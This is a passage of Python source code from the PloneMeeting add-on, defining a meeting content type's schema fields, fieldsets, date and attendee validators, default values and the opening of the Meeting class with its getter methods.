pre_meeting_place = schema.TextLine(\n title=_(u\"title_pre_meeting_place\"),\n required=False)\n\n category = schema.Choice(\n title=_(u'title_category'),\n vocabulary=\"Products.PloneMeeting.vocabularies.meeting_categories_vocabulary\",\n required=False,\n )\n\n form.widget('videoconference', RadioFieldWidget)\n videoconference = schema.Bool(\n title=_(u'title_videoconference'),\n default=False,\n required=False)\n\n form.widget('adopts_next_agenda_of', CheckBoxFieldWidget, multiple='multiple')\n adopts_next_agenda_of = schema.List(\n title=_(\"title_adopts_next_agenda_of\"),\n value_type=schema.Choice(\n vocabulary=\"Products.PloneMeeting.vocabularies.other_mcs_clonable_to_vocabulary\"),\n required=False)\n\n form.widget('extraordinary_session', RadioFieldWidget)\n extraordinary_session = schema.Bool(\n title=_(u'title_extraordinary_session'),\n default=False,\n required=False)\n\n form.widget('assembly', PMTextAreaFieldWidget)\n assembly = RichText(\n title=_(u\"title_assembly\"),\n description=_(\"descr_assembly\"),\n default_mime_type='text/plain',\n allowed_mime_types=('text/plain', ),\n output_mime_type='text/x-html-safe',\n constraint=assembly_constraint,\n required=False)\n\n form.widget('assembly_excused', PMTextAreaFieldWidget)\n assembly_excused = RichText(\n title=_(u\"title_assembly_excused\"),\n default_mime_type='text/plain',\n allowed_mime_types=('text/plain', ),\n output_mime_type='text/x-html-safe',\n required=False)\n\n form.widget('assembly_absents', PMTextAreaFieldWidget)\n assembly_absents = RichText(\n title=_(u\"title_assembly_absents\"),\n default_mime_type='text/plain',\n allowed_mime_types=('text/plain', ),\n output_mime_type='text/x-html-safe',\n required=False)\n\n form.widget('assembly_guests', PMTextAreaFieldWidget)\n assembly_guests = RichText(\n title=_(u\"title_assembly_guests\"),\n default_mime_type='text/plain',\n allowed_mime_types=('text/plain', ),\n output_mime_type='text/x-html-safe',\n required=False)\n\n form.widget('assembly_proxies', PMTextAreaFieldWidget)\n assembly_proxies = RichText(\n title=_(u\"title_assembly_proxies\"),\n default_mime_type='text/plain',\n allowed_mime_types=('text/plain', ),\n output_mime_type='text/x-html-safe',\n required=False)\n\n form.widget('assembly_staves', PMTextAreaFieldWidget)\n assembly_staves = RichText(\n title=_(u\"title_assembly_staves\"),\n default_mime_type='text/plain',\n allowed_mime_types=('text/plain', ),\n output_mime_type='text/x-html-safe',\n required=False)\n\n form.widget('signatures', PMTextAreaFieldWidget)\n signatures = RichText(\n title=_(u\"title_signatures\"),\n default_mime_type='text/plain',\n allowed_mime_types=(\"text/plain\", ),\n output_mime_type='text/x-html-safe',\n required=False)\n\n searchable(\"assembly_observations\")\n form.widget('assembly_observations', PMRichTextFieldWidget)\n assembly_observations = RichText(\n title=_(u\"title_assembly_observations\"),\n description=_(\"descr_field_vieawable_by_everyone\"),\n required=False,\n allowed_mime_types=(u\"text/html\", ))\n\n form.widget('committees',\n BlockDataGridFieldFactory,\n allow_reorder=True,\n auto_append=False,\n display_table_css_class=\"listing datagridwidget-table-view\")\n committees = schema.List(\n title=_(u'title_committees'),\n required=False,\n value_type=DictRow(\n schema=ICommitteesRowSchema,\n required=False))\n\n searchable(\"committees_observations\")\n form.widget('committees_observations', PMRichTextFieldWidget)\n committees_observations = RichText(\n title=_(u\"title_committees_observations\"),\n description=_(\"descr_field_vieawable_by_everyone\"),\n required=False,\n allowed_mime_types=(u\"text/html\", ))\n\n searchable(\"in_and_out_moves\")\n form.widget('in_and_out_moves', PMRichTextFieldWidget)\n in_and_out_moves = RichText(\n title=_(u\"title_in_and_out_moves\"),\n description=_(\"descr_field_reserved_to_meeting_managers\"),\n required=False,\n allowed_mime_types=(u\"text/html\", ))\n\n searchable(\"notes\")\n form.widget('notes', PMRichTextFieldWidget)\n notes = RichText(\n title=_(u\"title_notes\"),\n description=_(\"descr_field_reserved_to_meeting_managers\"),\n required=False,\n allowed_mime_types=(u\"text/html\", ))\n\n searchable(\"observations\")\n form.widget('observations', PMRichTextFieldWidget)\n observations = RichText(\n title=_(u\"title_observations\"),\n description=_(\"descr_field_vieawable_by_everyone\"),\n required=False,\n allowed_mime_types=(u\"text/html\", ))\n\n searchable(\"pre_observations\")\n form.widget('pre_observations', PMRichTextFieldWidget)\n pre_observations = RichText(\n title=_(u\"title_pre_observations\"),\n description=_(\"descr_field_vieawable_by_everyone\"),\n required=False,\n allowed_mime_types=(u\"text/html\", ))\n\n searchable(\"votes_observations\")\n form.widget('votes_observations', PMRichTextFieldWidget)\n votes_observations = RichText(\n title=_(u\"title_votes_observations\"),\n description=_(\"descr_field_vieawable_by_everyone_once_meeting_decided\"),\n required=False,\n allowed_mime_types=(u\"text/html\", ))\n\n searchable(\"public_meeting_observations\")\n form.widget('public_meeting_observations', PMRichTextFieldWidget)\n public_meeting_observations = RichText(\n title=_(u\"title_public_meeting_observations\"),\n description=_(\"descr_field_vieawable_by_everyone\"),\n required=False,\n allowed_mime_types=(u\"text/html\", ))\n\n searchable(\"secret_meeting_observations\")\n form.widget('secret_meeting_observations', PMRichTextFieldWidget)\n secret_meeting_observations = RichText(\n title=_(u\"title_secret_meeting_observations\"),\n description=_(\"descr_field_reserved_to_meeting_managers\"),\n required=False,\n allowed_mime_types=(u\"text/html\", ))\n\n searchable(\"authority_notice\")\n form.widget('authority_notice', PMRichTextFieldWidget)\n authority_notice = RichText(\n title=_(u\"title_authority_notice\"),\n description=_(\"descr_field_reserved_to_meeting_managers\"),\n required=False,\n allowed_mime_types=(u\"text/html\", ))\n\n searchable(\"meetingmanagers_notes\")\n form.widget('meetingmanagers_notes', PMRichTextFieldWidget)\n meetingmanagers_notes = RichText(\n title=_(u\"title_meetingmanagers_notes\"),\n description=_(\"descr_field_reserved_to_meeting_managers\"),\n required=False,\n allowed_mime_types=(u\"text/html\", ))\n\n meeting_number = schema.Int(\n title=_(u\"title_meeting_number\"),\n description=_(\"descr_config_field_reserved_to_meeting_managers\"),\n default=-1,\n required=False)\n\n first_item_number = schema.Int(\n title=_(u\"title_first_item_number\"),\n description=_(\"descr_config_field_reserved_to_meeting_managers\"),\n default=-1,\n required=False)\n\n model.fieldset('dates_and_data',\n label=_(u\"fieldset_dates_and_data\"),\n fields=['date', 'start_date', 'mid_date',\n 'mid_start_date', 'end_date',\n 'approval_date', 'convocation_date',\n 'validation_deadline', 'freeze_deadline',\n 'place', 'place_other', 'category',\n 'videoconference', 'adopts_next_agenda_of',\n 'pre_meeting_date', 'pre_meeting_place',\n 'extraordinary_session'])\n\n model.fieldset('assembly',\n label=_(u\"fieldset_assembly\"),\n fields=['assembly', 'assembly_excused', 'assembly_absents',\n 'assembly_guests', 'assembly_proxies', 'assembly_staves',\n 'signatures', 'assembly_observations'])\n\n model.fieldset('committees',\n label=_(u\"fieldset_committees\"),\n fields=['committees', 'committees_observations'])\n\n model.fieldset('informations',\n label=_(u\"fieldset_informations\"),\n fields=['in_and_out_moves', 'notes', 'observations',\n 'pre_observations',\n 'votes_observations', 'public_meeting_observations',\n 'secret_meeting_observations', 'authority_notice',\n 'meetingmanagers_notes'])\n\n model.fieldset('parameters',\n label=_(u\"fieldset_parameters\"),\n fields=['meeting_number', 'first_item_number'])\n\n @invariant\n def validate_dates(data):\n \"\"\"Validate dates :\n - \"date\" must be unique (no other Meeting with same date);\n - \"pre_meeting_date\" must be < \"date\";\n - \"start_date\" must be <= \"end_date\".\"\"\"\n context = data.__context__\n if context is None:\n # occurs when adding a new element\n request = getRequest()\n context = request.get('PUBLISHED').context\n\n # invariant are called several times...\n if context.REQUEST.get(\"validate_dates_done\", False):\n return\n\n is_meeting = context.__class__.__name__ == \"Meeting\"\n # check date\n catalog = api.portal.get_tool('portal_catalog')\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(context)\n brains = catalog.unrestrictedSearchResults(\n portal_type=cfg.getMeetingTypeName(), meeting_date=data.date)\n if brains:\n found = False\n if not is_meeting:\n found = True\n else:\n for brain in brains:\n # ignore current meeting, use path, available when creating\n # a meeting using restapi, the UID is still not ready\n if brain.getPath() != \"/\".join(context.getPhysicalPath()):\n found = True\n if found:\n msg = translate('meeting_with_same_date_exists',\n domain='PloneMeeting',\n context=context.REQUEST)\n # avoid multiple call to this invariant\n context.REQUEST.set(\"validate_dates_done\", True)\n # encode msg in utf-8 for restapi\n raise Invalid(msg.encode('utf-8'))\n\n # check pre_meeting_date\n if hasattr(data, 'pre_meeting_date') and \\\n data.pre_meeting_date and \\\n data.pre_meeting_date > data.date:\n msg = translate(\"pre_date_after_meeting_date\",\n domain='PloneMeeting',\n context=context.REQUEST)\n # avoid multiple call to this invariant\n context.REQUEST.set(\"validate_dates_done\", True)\n # encode msg in utf-8 for restapi\n raise Invalid(msg.encode('utf-8'))\n\n # check start_date/end_date\n # start_date must be before end_date\n # getattr(data, 'start_date', None) does not work as expected with Data...\n if hasattr(data, 'start_date') and \\\n data.start_date and \\\n hasattr(data, 'end_date') and \\\n data.end_date and \\\n data.start_date > data.end_date:\n msg = translate(\"start_date_after_end_date\",\n domain='PloneMeeting',\n context=context.REQUEST)\n # avoid multiple call to this invariant\n context.REQUEST.set(\"validate_dates_done\", True)\n # encode msg in utf-8 for restapi\n raise Invalid(msg.encode('utf-8'))\n # avoid multiple call to this invariant\n context.REQUEST.set(\"validate_dates_done\", True)\n\n @invariant\n def validate_attendees(data):\n \"\"\"Validate attendees, only if context is a Meeting,\n when creating a new meeting, nothing is defined on item.\"\"\"\n context = data.__context__\n if context is None:\n # occurs when adding a new element\n request = getRequest()\n context = request.get('PUBLISHED').context\n\n # invariant are called several times...\n request = context.REQUEST\n if context.REQUEST.get(\"validate_attendees_done\", False):\n return\n\n is_meeting = context.__class__.__name__ == \"Meeting\"\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(context)\n\n if is_meeting and cfg.isUsingContacts():\n\n # removed attendees?\n # REQUEST.form['meeting_attendees'] is like\n # ['muser_attendeeuid1_attendee', 'muser_attendeeuid2_excused']\n meeting_attendees = [attendee.split('_')[1] for attendee\n in request.form.get('meeting_attendees', [])\n if attendee.split('_')[2] == 'attendee']\n all_meeting_attendees = [\n attendee.split('_')[1] for attendee\n in request.form.get('meeting_attendees', [])]\n signatories = [signatory for signatory in\n request.form.get('meeting_signatories', [])\n if signatory]\n signatory_uids = [signatory.split('__signaturenumber__')[0]\n for signatory in signatories]\n _validate_attendees_removed_and_order(\n context, meeting_attendees, all_meeting_attendees, signatory_uids)\n\n # removed voters?\n stored_voters = context.get_voters()\n # bypass when not using votes\n if stored_voters:\n meeting_voters = [voter.split('_')[1] for voter\n in request.form.get('meeting_voters', [])]\n removed_meeting_voters = set(stored_voters).difference(meeting_voters)\n # public, voters are known\n item_votes = context.get_item_votes()\n voter_uids = []\n highest_secret_votes = 0\n for votes in item_votes.values():\n for vote in votes:\n if 'voters' in vote:\n # public\n voter_uids += [k for k, v in vote['voters'].items()\n if v != NOT_ENCODED_VOTE_VALUE]\n else:\n secret_votes = sum([v for k, v in vote['votes'].items()])\n if secret_votes > highest_secret_votes:\n highest_secret_votes = secret_votes\n voter_uids = list(set(voter_uids))\n conflict_voters = removed_meeting_voters.intersection(\n voter_uids)\n if conflict_voters:\n voter_uid = tuple(removed_meeting_voters)[0]\n voter_brain = uuidToCatalogBrain(voter_uid)\n msg = translate(\n 'can_not_remove_public_voter_voted_on_items',\n mapping={'attendee_title': voter_brain.get_full_title},\n domain='PloneMeeting',\n context=request)\n # avoid multiple call to this invariant\n context.REQUEST.set(\"validate_attendees_done\", True)\n # encode msg in utf-8 for restapi\n raise Invalid(msg.encode('utf-8'))\n elif highest_secret_votes > len(meeting_voters):\n msg = translate(\n 'can_not_remove_secret_voter_voted_on_items',\n domain='PloneMeeting',\n context=request)\n # avoid multiple call to this invariant\n context.REQUEST.set(\"validate_attendees_done\", True)\n # encode msg in utf-8 for restapi\n raise Invalid(msg.encode('utf-8'))\n\n # there can not be 2 same signatories\n if signatories:\n signature_numbers = [signatory.split('__signaturenumber__')[1]\n for signatory in signatories]\n _validate_attendees_signatories(\n context, signature_numbers)\n\n # avoid multiple call to this invariant\n context.REQUEST.set(\"validate_attendees_done\", True)\n\n\n@form.default_value(field=IMeeting['assembly'])\ndef default_assembly(data):\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(data.context)\n res = u\"\"\n if \"assembly\" in cfg.getUsedMeetingAttributes():\n res = safe_unicode(cfg.getAssembly())\n return res\n\n\n@form.default_value(field=IMeeting['assembly_staves'])\ndef default_assembly_staves(data):\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(data.context)\n res = u\"\"\n if \"assembly_staves\" in cfg.getUsedMeetingAttributes():\n res = safe_unicode(cfg.getAssemblyStaves())\n return res\n\n\n@form.default_value(field=IMeeting['signatures'])\ndef default_signatures(data):\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(data.context)\n res = u\"\"\n if \"signatures\" in cfg.getUsedMeetingAttributes():\n res = safe_unicode(cfg.getSignatures())\n return res\n\n\n@form.default_value(field=IMeeting['place'])\ndef default_place(data):\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(data.context)\n res = PLACE_OTHER\n if cfg.getPlaces():\n res = safe_unicode(cfg.getPlaces().split('\\r\\n')[0].strip())\n return res\n\n\n@form.default_value(field=IMeeting['committees'])\ndef default_committees(data):\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(data.context)\n used_attrs = cfg.getUsedMeetingAttributes()\n res = []\n if \"committees\" in used_attrs:\n for committee in cfg.getCommittees():\n # not enabled or item_only, we pass\n if committee['enabled'] != '1':\n continue\n mdata = {}\n mdata['row_id'] = committee['row_id']\n # manage default_values\n for field_id, field_value in committee.items():\n if not field_id.startswith('default_'):\n continue\n real_field_id = field_id.replace('default_', '')\n # do not set a default value for an optional field not enabled\n if 'committees_{0}'.format(real_field_id) not in used_attrs:\n continue\n # XXX workaround to remove when MeetingConfig will be DX\n value = committee[field_id]\n if real_field_id in ['assembly', 'signatures']:\n value = richtextval(value)\n mdata[real_field_id] = value\n # complete data\n for field_name in getFieldNamesInOrder(ICommitteesRowSchema):\n if field_name not in mdata:\n mdata[field_name] = None\n res.append(mdata)\n return res\n\n\ndef get_all_usable_held_positions(obj, the_objects=True):\n '''This will return every currently stored held_positions if p_obj is a Meeting,\n and will include every selectable held_positions.\n If p_the_objects=True, we return held_position objects, UID otherwise.\n '''\n # used Persons are held_positions stored in orderedContacts\n contacts = base_hasattr(obj, 'ordered_contacts') and list(obj.ordered_contacts) or []\n # append every selectable hp selected in MeetingConfig\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(obj)\n selectable_contacts = cfg.getOrderedContacts()\n new_selectable_contacts = [c for c in selectable_contacts if c not in contacts]\n contacts = contacts + new_selectable_contacts\n if contacts and the_objects:\n contacts = uuidsToObjects(uuids=contacts, ordered=True, unrestricted=True)\n return tuple(contacts)\n\n\ndef _validate_attendees_removed_and_order(context, meeting_attendees, all_meeting_attendees, signatory_uids):\n \"\"\" \"\"\"\n request = context.REQUEST\n stored_attendees = context.get_all_attendees()\n removed_meeting_attendees = set(stored_attendees).difference(meeting_attendees)\n # do not go further if not removed attendees\n # this is useful when creating a new meeting from restapi call\n # where ObjectCreated event is triggered after validation\n if removed_meeting_attendees:\n # attendees redefined on items\n redefined_item_attendees = context._get_all_redefined_attendees(\n by_persons=True)\n conflict_attendees = removed_meeting_attendees.intersection(\n redefined_item_attendees)\n if conflict_attendees:\n attendee_uid = tuple(conflict_attendees)[0]\n attendee_brain = uuidToCatalogBrain(attendee_uid)\n msg = translate(\n 'can_not_remove_attendee_redefined_on_items',\n mapping={'attendee_title': attendee_brain.get_full_title},\n domain='PloneMeeting',\n context=request)\n # avoid multiple call to this invariant\n context.REQUEST.set(\"validate_attendees_done\", True)\n # encode msg in utf-8 for restapi\n raise Invalid(msg.encode('utf-8'))\n # in theory this is not possible thru the UI as unselecting an attendee\n # will disable the signatory field but this is possible thru the restapi\n removed_signatories = tuple(\n set(signatory_uids).intersection(removed_meeting_attendees))\n if removed_signatories:\n attendee_brain = uuidToCatalogBrain(removed_signatories[0])\n msg = translate(\n 'can_not_remove_attendee_defined_as_signatory',\n mapping={'attendee_title': attendee_brain.get_full_title},\n domain='PloneMeeting',\n context=request)\n # avoid multiple call to this invariant\n context.REQUEST.set(\"validate_attendees_done\", True)\n # encode msg in utf-8 for restapi\n raise Invalid(msg.encode('utf-8'))\n\n # can not remove or add attendees on meeting when attendees order\n # was redefined on items\n item_attendees_order = context._get_item_attendees_order(from_meeting_if_empty=False)\n if item_attendees_order:\n all_added_meeting_attendees = set(all_meeting_attendees).difference(stored_attendees)\n all_removed_meeting_attendees = set(stored_attendees).difference(all_meeting_attendees)\n all_changed_meeting_attendees = tuple(all_added_meeting_attendees) + \\\n tuple(all_removed_meeting_attendees)\n if all_changed_meeting_attendees:\n msg = translate(\n 'can_not_remove_or_add_attendee_item_attendees_reordered',\n mapping={'item_url': uuidToObject(\n item_attendees_order.keys()[0]).absolute_url()},\n domain='PloneMeeting',\n context=request)\n # avoid multiple call to this invariant\n context.REQUEST.set(\"validate_attendees_done\", True)\n # encode msg in utf-8 for restapi\n raise Invalid(msg.encode('utf-8'))\n\n\ndef _validate_attendees_signatories(context, signature_numbers):\n if len(signature_numbers) != len(set(signature_numbers)):\n msg = translate(\n 'can_not_define_several_same_signature_number',\n domain='PloneMeeting',\n context=context.REQUEST)\n # avoid multiple call to this invariant\n context.REQUEST.set(\"validate_attendees_done\", True)\n # encode msg in utf-8 for restapi\n raise Invalid(msg.encode('utf-8'))\n\n\n########################################################################\n# #\n# SAMPLE TO EXTEND SCHEMA #\n# #\n########################################################################\n#\n# class IMeetingCustomSample(IMeeting):\n# \"\"\" \"\"\"\n#\n# form.order_before(extra_field='end_date')\n# extra_field = Int(\n# title=_(u\"Sample extra field\"),\n# default=0,\n# required=False)\n#\n# model.fieldset(\n# 'dates_and_data',\n# label=_(u\"Dates and data\"),\n# fields=['extra_field'])\n#\n########################################################################\n\n\nclass Meeting(Container):\n \"\"\" \"\"\"\n\n implements(IMeeting)\n\n security = ClassSecurityInfo()\n\n MEETINGCLOSEDSTATES = ['closed']\n\n # 'optional': is field optional and selectable in MeetingConfig?\n # if field is not empty, it will be displayed even if optional and not in used_attrs\n # this for history reasons (fields used before, disabled now, ...)\n # 'condition': a python expression\n FIELD_INFOS = {\n 'date':\n {'optional': False,\n 'condition': \"\"},\n 'start_date':\n {'optional': True,\n 'condition': \"\"},\n 'mid_date':\n {'optional': True,\n 'condition': \"\"},\n 'mid_start_date':\n {'optional': True,\n 'condition': \"\"},\n 'end_date':\n {'optional': True,\n 'condition': \"\"},\n 'approval_date':\n {'optional': True,\n 'condition': \"\"},\n 'convocation_date':\n {'optional': True,\n 'condition': \"\"},\n 'validation_deadline':\n {'optional': True,\n 'condition': \"python:context.getTagName() == 'Meeting' and context.date and \"\n \"cfg.show_meeting_manager_reserved_field('validation_deadline')\"},\n 'freeze_deadline':\n {'optional': True,\n 'condition': \"python:context.getTagName() == 'Meeting' and context.date and \"\n \"cfg.show_meeting_manager_reserved_field('freeze_deadline')\"},\n 'place':\n {'optional': True,\n 'condition': \"\"},\n 'place_other':\n {'optional': False,\n 'condition': \"python:view.show_field('place') and \"\n \"(view.mode != 'display' or context.place == u'other')\"},\n 'category':\n {'optional': True,\n 'condition': \"\"},\n 'videoconference':\n {'optional': True,\n 'condition': \"\"},\n 'adopts_next_agenda_of':\n {'optional': True,\n 'condition': \"\"},\n 'extraordinary_session':\n {'optional': True,\n 'condition': \"\"},\n 'assembly':\n {'optional': True,\n 'condition': \"python:'assembly' in view.shown_assembly_fields()\"},\n 'assembly_excused':\n {'optional': True,\n 'condition': \"python:'assembly_excused' in view.shown_assembly_fields()\"},\n 'assembly_absents':\n {'optional': True,\n 'condition': \"python:'assembly_absents' in view.shown_assembly_fields()\"},\n 'assembly_guests':\n {'optional': True,\n 'condition': \"python:'assembly_guests' in view.shown_assembly_fields()\"},\n 'assembly_proxies':\n {'optional': True,\n 'condition': \"python:'assembly_proxies' in view.shown_assembly_fields()\"},\n 'assembly_staves':\n {'optional': True,\n 'condition': \"python:'assembly_staves' in view.shown_assembly_fields()\"},\n 'signatures':\n {'optional': True,\n 'condition': \"\"},\n 'assembly_observations':\n {'optional': True,\n 'condition': \"\"},\n 'committees':\n {'optional': True,\n 'condition': \"\",\n 'optional_columns': ['convocation_date', 'place',\n 'assembly', 'signatures',\n 'attendees', 'signatories', 'committee_observations']},\n 'committees_observations':\n {'optional': True,\n 'condition': \"\"},\n 'in_and_out_moves':\n {'optional': True,\n 'condition': \"python:cfg.show_meeting_manager_reserved_field('in_and_out_moves')\"},\n 'notes':\n {'optional': True,\n 'condition': \"python:cfg.show_meeting_manager_reserved_field('notes')\"},\n 'observations':\n {'optional': True,\n 'condition': \"\"},\n 'pre_meeting_date':\n {'optional': True,\n 'condition': \"\"},\n 'pre_meeting_place':\n {'optional': True,\n 'condition': \"\"},\n 'pre_observations':\n {'optional': True,\n 'condition': \"\"},\n 'votes_observations':\n {'optional': True,\n 'condition': \"python:view.show_votes_observations()\"},\n 'public_meeting_observations':\n {'optional': True,\n 'condition': \"\"},\n 'secret_meeting_observations':\n {'optional': True,\n 'condition': \"python:cfg.show_meeting_manager_reserved_field('secret_meeting_observations')\"},\n 'authority_notice':\n {'optional': True,\n 'condition': \"python:cfg.show_meeting_manager_reserved_field('authority_notice')\"},\n 'meetingmanagers_notes':\n {'optional': True,\n 'condition': \"python:cfg.show_meeting_manager_reserved_field('meetingmanagers_notes')\"},\n 'meeting_number':\n {'optional': True,\n 'condition': \"python:tool.isManager(cfg)\"},\n 'first_item_number':\n {'optional': True,\n 'condition': \"python:tool.isManager(cfg)\"},\n }\n\n security.declarePublic('get_pretty_link')\n\n def get_pretty_link(self,\n prefixed=False,\n short=True,\n showContentIcon=False,\n isViewable=True,\n notViewableHelpMessage=None,\n appendToUrl='',\n link_pattern=None,\n with_hour=True,\n with_number_of_items=False,\n include_category_id=True):\n \"\"\"Return the IPrettyLink version of the title.\"\"\"\n adapted = IPrettyLink(self)\n tool = api.portal.get_tool('portal_plonemeeting')\n adapted.contentValue = tool.format_date(\n self.date,\n with_hour=with_hour,\n prefixed=prefixed,\n short=short)\n if include_category_id and self.category is not None:\n category = self.get_category(True)\n if category.category_id:\n adapted.contentValue = u\"{0} - {1}\".format(\n category.category_id, adapted.contentValue)\n if with_number_of_items:\n adapted.contentValue = u\"{0} [{1}]\".format(\n adapted.contentValue, self.number_of_items())\n adapted.isViewable = adapted.isViewable and isViewable\n if notViewableHelpMessage is not None:\n adapted.notViewableHelpMessage = notViewableHelpMessage\n adapted.showContentIcon = showContentIcon\n adapted.appendToUrl = appendToUrl\n if link_pattern:\n adapted.link_pattern = link_pattern\n # this will make link open in available items iframe\n # open in parent (main) frame\n adapted.target = '_parent'\n return adapted.getLink()\n\n security.declarePublic('getSelf')\n\n def getSelf(self):\n '''Similar to MeetingItem.getSelf. Check MeetingItem.py for more\n info.'''\n res = self\n if self.getTagName() != 'Meeting':\n res = self.context\n return res\n\n def get_category(self, the_object=False):\n '''Helper to get the category.\n If p_theObject=True, we return the category object,\n the stored category id otherwise.'''\n return _get_category(\n self,\n self.category,\n the_object=the_object,\n cat_type='meetingcategories')\n\n def get_assembly(self, for_display=True, striked=True, mark_empty_tags=False, raw=True):\n \"\"\" \"\"\"\n return get_textarea_value(\n self.assembly,\n self,\n for_display=for_display,\n striked=striked,\n mark_empty_tags=mark_empty_tags,\n raw=raw)\n\n def get_assembly_excused(self, for_display=True, striked=True, mark_empty_tags=False, raw=True):\n \"\"\" \"\"\"\n return get_textarea_value(\n self.assembly_excused,\n self,\n for_display=for_display,\n striked=striked,\n mark_empty_tags=mark_empty_tags,\n raw=raw)\n\n def get_assembly_absents(self, for_display=True, striked=True, mark_empty_tags=False, raw=True):\n \"\"\" \"\"\"\n return get_textarea_value(\n self.assembly_absents,\n self,\n for_display=for_display,\n striked=striked,\n mark_empty_tags=mark_empty_tags,\n raw=raw)\n\n def get_assembly_guests(self, for_display=True, striked=True, mark_empty_tags=False, raw=True):\n \"\"\" \"\"\"\n return get_textarea_value(\n self.assembly_guests,\n self,\n for_display=for_display,\n striked=striked,\n mark_empty_tags=mark_empty_tags,\n raw=raw)\n\n def get_assembly_staves(self, for_display=True, striked=True, mark_empty_tags=False, raw=True):\n \"\"\" \"\"\"\n return get_textarea_value(\n self.assembly_staves,\n self,\n for_display=for_display,\n striked=striked,\n mark_empty_tags=mark_empty_tags,\n raw=raw)\n\n def get_assembly_proxies(self, for_display=True, striked=True, mark_empty_tags=False, raw=True):\n \"\"\" \"\"\"\n return get_textarea_value(\n self.assembly_proxies,\n self,\n for_display=for_display,\n striked=striked,\n mark_empty_tags=mark_empty_tags,\n raw=raw)\n\n def get_signatures(self, for_display=False, mark_empty_tags=False, raw=True):\n \"\"\" \"\"\"\n return get_textarea_value(\n self.signatures,\n self,\n for_display=for_display,\n mark_empty_tags=mark_empty_tags,\n raw=raw)\n\n def get_place(self, real=False):\n \"\"\" \"\"\"\n place = self.place\n if not real and self.place == PLACE_OTHER:\n place = self.place_other\n return place\n\n def get_committee(self, row_id):\n \"\"\"Return infos about given p_row_id committee.\"\"\"\n if self.committees:\n for committee in self.committees:\n if committee['row_id'] == row_id:\n return committee.copy()\n\n def get_committees(self):\n \"\"\"Return every defined committees row_id.\"\"\"\n row_ids = []\n if self.committees:\n for committee in self.committees or []:\n row_ids.append(committee['row_id'])\n return row_ids\n\n def get_committee_place(self, row_id):\n \"\"\"Return \"place\" for given p_row_id committee.\"\"\"\n value = self.get_committee(row_id)[\"place\"]\n return value\n\n def get_committee_assembly(self, row_id, for_display=True, striked=True, mark_empty_tags=False, raw=True):\n \"\"\"Return \"assembly\" for given p_row_id committee.\"\"\"\n value = self.get_committee(row_id)[\"assembly\"]\n return get_textarea_value(\n value,\n self,\n for_display=for_display,\n mark_empty_tags=mark_empty_tags,\n raw=raw)\n\n def get_committee_signatures(self, row_id, for_display=False, striked=True, mark_empty_tags=False, raw=True):\n \"\"\"Return \"signatures\" for given p_row_id committee.\"\"\"\n value = self.get_committee(row_id)[\"signatures\"]\n return get_textarea_value(\n value,\n self,\n for_display=for_display,\n mark_empty_tags=mark_empty_tags,\n raw=raw)\n\n def get_committee_attendees(self, row_id, the_objects=False):\n '''Returns the attendees for given p_row_id committee.'''\n committee_attendees = self.get_committee(row_id).get(\"attendees\", [])\n return self._get_contacts(uids=committee_attendees, the_objects=the_objects)\n\n def get_committee_signatories(self, row_id, the_objects=False, by_signature_number=False):\n '''Returns the signatories for given p_row_id committee.'''\n committee_signatories = self.get_committee(row_id).get(\"signatories\", [])\n signers = self._get_contacts(uids=committee_signatories, the_objects=the_objects)\n # signature number depends on signatory order\n i = 1\n res = {}\n for signer in signers:\n res[signer] = str(i)\n i += 1\n if by_signature_number:\n # keys are values, values are keys\n res = {v: k for k, v in res.items()}\n return res\n\n def get_committee_observations(self, row_id, for_display=True, mark_empty_tags=False, raw=True):\n \"\"\"Return \"committee_observations\" for given p_row_id committee.\"\"\"\n value = self.get_committee(row_id)[\"committee_observations\"]\n if not value:\n return value\n return raw and value.raw or value.output\n\n def get_committee_items(self, row_id, supplement=-1, ordered=True, **kwargs):\n \"\"\"Return every items of a given committee p_row_id.\n For p_supplement:\n - -1 means only include normal, no supplement;\n - 0 means normal + every supplements;\n - 1, 2, 3, ... only items of supplement 1, 2, 3, ...\n - 99 means every supplements only.\n This is calling get_items under so every parameters of get_items may be given in kwargs.\"\"\"\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n available_suppl_ids = cfg.get_supplements_for_committee(row_id)\n committees_index = []\n if supplement == -1:\n committees_index.append(row_id)\n elif supplement == 0:\n committees_index.append(row_id)\n committees_index += available_suppl_ids\n elif supplement == 99:\n committees_index = available_suppl_ids\n else:\n if len(available_suppl_ids) >= supplement:\n committees_index = available_suppl_ids[supplement - 1]\n else:\n # asking for unexisting supplement\n return []\n # we use additional_catalog_query to pass the committees_index to keep\n # keep additional_catalog_query from kwargs if exist\n additional_catalog_query = kwargs.get('additional_catalog_query', {})\n additional_catalog_query.update({'committees_index': committees_index})\n kwargs[\"additional_catalog_query\"] = additional_catalog_query\n return self.get_items(ordered=ordered, **kwargs)\n\n def get_all_attendees(self, uids=[], the_objects=False):\n '''This will return every currently stored held_positions.\n If p_the_objects=True, we return held_position objects, UID otherwise.'''\n # in some case especially with pm.restapi, validators are called before\n # created event and ordered_contacts may not be initialized\n contacts = uids or (\n base_hasattr(self, 'ordered_contacts') and list(self.ordered_contacts)) or []\n if contacts and the_objects:\n contacts = uuidsToObjects(uuids=contacts, ordered=True, unrestricted=True)\n return tuple(contacts)\n\n def is_late(self):\n '''Is meeting considered late?\n It is the case if the review_state is after the late state.'''\n meeting_state = self.query_state()\n late_state = self.adapted().get_late_state()\n return late_state and meeting_state not in get_states_before(self, late_state)\n\n def _available_items_query(self):\n '''Check docstring in IMeeting.'''\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n meeting_state = self.query_state()\n if meeting_state not in cfg.getMeetingStatesAcceptingItemsForMeetingManagers():\n # make sure the query returns nothing, add a dummy parameter\n return [{'i': 'UID',\n 'o': 'plone.app.querystring.operation.selection.is',\n 'v': 'dummy_unexisting_uid'}]\n res = [{'i': 'portal_type',\n 'o': 'plone.app.querystring.operation.selection.is',\n 'v': cfg.getItemTypeName()},\n {'i': 'review_state',\n 'o': 'plone.app.querystring.operation.selection.is',\n 'v': 'validated'},\n ]\n\n 